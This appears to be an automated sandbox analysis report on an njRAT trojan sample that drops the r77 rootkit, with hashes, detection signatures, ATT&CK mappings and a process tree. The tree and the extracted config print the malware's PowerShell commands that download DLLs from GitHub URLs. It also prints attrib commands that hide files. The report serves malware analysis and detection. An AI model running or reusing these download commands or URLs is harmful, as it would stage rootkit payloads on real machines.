njrat | 8920797352a55d0413ab4642e7e2dcd049d702678f6870f6f58ac64e814e5720

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
22/01/2024, 08:16

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General

Target
6f2bf69913f6bf47a6ae722c9640a311.exe
Size 46KB
Sample240122-j5798scda9
SHA256 8920797352a55d0413ab4642e7e2dcd049d702678f6870f6f58ac64e814e5720
MD5 6f2bf69913f6bf47a6ae722c9640a311
SHA1 5aa0c1acc2c56f283a9694f4953f6085f0b0059d
SHA512 0721b0c5ad0ce0049609da9f59359fb5d895005342f87697683c9ffbb63213b125c8c81f55dfef50b7678b0f52ad3707d8c4cbdfadb64b8136f236bb3a30164c
SSDEEP 768:MB9QFE9xTu53yAeC1lNhTTHxAlbL0gUqrvs9kIL4:MBN9A5CAeCRpTHMbL0gU6+ka4
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

njrat r77 rootkit trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://github.com/NGROKC/CTC/raw/main/CTC64.dll

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://github.com/NGROKC/CTC/raw/main/CTC86.dll

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
r77
r77 is an open-source, userland rootkit.
rootkit r77

r77 rootkit payload 2 IoCs

Detects the payload of the r77 rootkit.

resource	yara_rule
behavioral2/files/0x000c00000002313b-43.dat	r77_payload
behavioral2/files/0x000700000002321e-44.dat	r77_payload

Blocklisted process makes network request 4 IoCs

flow	pid	Process
7	2308	powershell.exe
11	2308	powershell.exe
22	3936	powershell.exe
23	3936	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation	6f2bf69913f6bf47a6ae722c9640a311.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2308	powershell.exe
2308	powershell.exe
3936	powershell.exe
3936	powershell.exe
4352	6f2bf69913f6bf47a6ae722c9640a311.exe
4352	6f2bf69913f6bf47a6ae722c9640a311.exe
4352	6f2bf69913f6bf47a6ae722c9640a311.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2308	powershell.exe
Token: SeDebugPrivilege	3936	powershell.exe
Token: SeDebugPrivilege	4352	6f2bf69913f6bf47a6ae722c9640a311.exe
Token: 33	4352	6f2bf69913f6bf47a6ae722c9640a311.exe
Token: SeIncBasePriorityPrivilege	4352	6f2bf69913f6bf47a6ae722c9640a311.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4352 wrote to memory of 4040	4352	6f2bf69913f6bf47a6ae722c9640a311.exe	86
PID 4352 wrote to memory of 4040	4352	6f2bf69913f6bf47a6ae722c9640a311.exe	86
PID 4040 wrote to memory of 2308	4040	cmd.exe	87
PID 4040 wrote to memory of 2308	4040	cmd.exe	87
PID 4352 wrote to memory of 1284	4352	6f2bf69913f6bf47a6ae722c9640a311.exe	97
PID 4352 wrote to memory of 1284	4352	6f2bf69913f6bf47a6ae722c9640a311.exe	97
PID 1284 wrote to memory of 3936	1284	cmd.exe	98
PID 1284 wrote to memory of 3936	1284	cmd.exe	98
PID 4352 wrote to memory of 2304	4352	6f2bf69913f6bf47a6ae722c9640a311.exe	102
PID 4352 wrote to memory of 2304	4352	6f2bf69913f6bf47a6ae722c9640a311.exe	102
PID 4352 wrote to memory of 4948	4352	6f2bf69913f6bf47a6ae722c9640a311.exe	105
PID 4352 wrote to memory of 4948	4352	6f2bf69913f6bf47a6ae722c9640a311.exe	105
PID 4352 wrote to memory of 4752	4352	6f2bf69913f6bf47a6ae722c9640a311.exe	106
PID 4352 wrote to memory of 4752	4352	6f2bf69913f6bf47a6ae722c9640a311.exe	106
PID 4352 wrote to memory of 3588	4352	6f2bf69913f6bf47a6ae722c9640a311.exe	108
PID 4352 wrote to memory of 3588	4352	6f2bf69913f6bf47a6ae722c9640a311.exe	108
PID 4352 wrote to memory of 1360	4352	6f2bf69913f6bf47a6ae722c9640a311.exe	110
PID 4352 wrote to memory of 1360	4352	6f2bf69913f6bf47a6ae722c9640a311.exe	110

Views/modifies file attributes 1 TTPs 5 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4752	attrib.exe
3588	attrib.exe
1360	attrib.exe
2304	attrib.exe
4948	attrib.exe

C:\Users\Admin\AppData\Local\Temp\6f2bf69913f6bf47a6ae722c9640a311.exe
"C:\Users\Admin\AppData\Local\Temp\6f2bf69913f6bf47a6ae722c9640a311.exe"
1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4352
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\D64.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4040
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/NGROKC/CTC/raw/main/CTC64.dll','C:\Users\Admin\AppData\Local\Temp\r77-x64.dll');
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\D86.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1284
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/NGROKC/CTC/raw/main/CTC86.dll','C:\Users\Admin\AppData\Local\Temp\r77-x86.dll');
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3936
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +r +s "C:\Users\Admin\AppData\Roaming\Subdir"
  2⤵
  - Views/modifies file attributes
  PID:2304
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +r +s "C:\Users\Admin\AppData\Roaming\Subdir\$77-google.exe"
  2⤵
  - Views/modifies file attributes
  PID:4948
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +r +s "C:\Users\Admin\AppData\Local\"
  2⤵
  - Views/modifies file attributes
  PID:4752
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +r +s "C:\Users\Admin\AppData\Local\Temp\cjc3LXg4Ni5kbGw="
  2⤵
  - Views/modifies file attributes
  PID:3588
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +r +s "C:\Users\Admin\AppData\Local\Temp\r77-x64.dll"
  2⤵
  - Views/modifies file attributes
  PID:1360

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e75b17396d67c1520afbde5ecf8b0ccda65f7833c2e7e76e3fddbbb69235d953
MD5 a5c074e56305e761d7cbc42993300e1c
SHA1 39b2e23ba5c56b4f332b3607df056d8df23555bf
SHA512 c63d298fc3ab096d9baff606642b4a9c98a707150192191f4a6c5feb81a907495b384760d11cecbff904c486328072548ac76884f14c032c0c1ae0ca640cb5e8
MD5 SHA1 SHA512

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D64.bat

Path C:\Users\Admin\AppData\Local\Temp\D64.bat
Size 222B
SHA256 a3f1a82cc9957b71b5409c6280e97e8af14bdc3c6fb5ad195708f8c95a6f4d40
MD5 9c2599eecfb45356c99a7320805d85e7
SHA1 ebbe61d1cf2d55c3d7c59fbaa1a2ba62b0f244e7
SHA512 b8d32363da98d418f9caf853b1569a0b4051e2475067988f3cdbaf2226ba667d4dd1e69217e10860cb6a947b894093878a1fad6525aebb9c353e9e956a86c8a4
MD5 SHA1 SHA512

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D86.bat

Path C:\Users\Admin\AppData\Local\Temp\D86.bat
Size 222B
SHA256 f818bbd6afa5d80f4b2d8c2d090a2a487d3cd69ffd32214a169d62282b7cb861
MD5 d35427fb987daec1ccf0b500929c0bd0
SHA1 f56c9b7e7ce037aa9cb3a513cb2d7ad317ab6447
SHA512 73b489ab1372bc5cbf2248cf706041e73532daeebcf448d1720b485e7a5e7614afc9ebd6ea407adf3bd7006a61cef008241385bb1e060b3e4d33f8ca4b89f830
MD5 SHA1 SHA512

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__PSScriptPolicyTest_vd5xebea.5jf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vd5xebea.5jf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

r77-x64.dll

Path C:\Users\Admin\AppData\Local\Temp\r77-x64.dll
Size 147KB
SHA256 919a332e85d7c32a6f0a1bdd15b211b8b273b73fe05a553ea0f230a0958586c7
MD5 1b8bd653321cf3cbc786e563555fbc75
SHA1 5638efe0476c8c1b74c6604db419be814d1d90a0
SHA512 bafdbc8413828c5427983fa0e9403a2d9a88d0ad2f27f92842310852d273f2d2c9a0c6f9f64e1aac03fadf49f9a3bcf58c6b7c8b06debcce46536114cde0175b
SSDEEP 3072:SzETRNzVbhyxen78HDibmE3n1lyFoY465l39:Sz2NzpMxen78HQUohQT
MD5 SHA1 SHA512 SSDEEP

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r77-x86.dll

Path C:\Users\Admin\AppData\Local\Temp\r77-x86.dll
Size 114KB
SHA256 173f74176d13c235d744f9e32d658f6301a6b1aa81a014060ba763b55e516fe3
MD5 4a35aaf2d4ab47f5ea6f75d2de75c831
SHA1 007676d2097defe7f793f9fb1ffe2f48c0c94ac0
SHA512 b933b208b761260217462c5b27a6e00583c564d2def2f80fca140a2fe054cbd61bae483b9bb282fab0f23eda3f775bcc76a204f16884150b7f100f9c0bb5fc93
SSDEEP 1536:aiOAr0Zbc8I3NJRy0iadG5MVY+Vs8jsdjju6vtmgMbFujZwkDTDRhcDH4:mAMbc/NJqP6wjSkAg0FujZwkDTDRhcDY
MD5 SHA1 SHA512 SSDEEP

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memory/2308-16-0x00007FFBDFB50000-0x00007FFBE0611000-memory.dmp

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memory/2308-22-0x00007FFBDFB50000-0x00007FFBE0611000-memory.dmp

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memory/2308-17-0x000002A57CA20000-0x000002A57CA30000-memory.dmp

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memory/2308-18-0x000002A57CA20000-0x000002A57CA30000-memory.dmp

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memory/2308-15-0x000002A57C990000-0x000002A57C9B2000-memory.dmp

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memory/3936-39-0x000001FA48270000-0x000001FA48280000-memory.dmp

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memory/3936-38-0x00007FFBDFB50000-0x00007FFBE0611000-memory.dmp

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memory/3936-42-0x00007FFBDFB50000-0x00007FFBE0611000-memory.dmp

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memory/4352-0-0x0000000000770000-0x0000000000782000-memory.dmp

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memory/4352-2-0x00007FFBDFB50000-0x00007FFBE0611000-memory.dmp

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memory/4352-45-0x000000001BC90000-0x000000001BCA0000-memory.dmp

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memory/4352-46-0x00007FFBDFB50000-0x00007FFBE0611000-memory.dmp

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memory/4352-47-0x000000001BC90000-0x000000001BCA0000-memory.dmp

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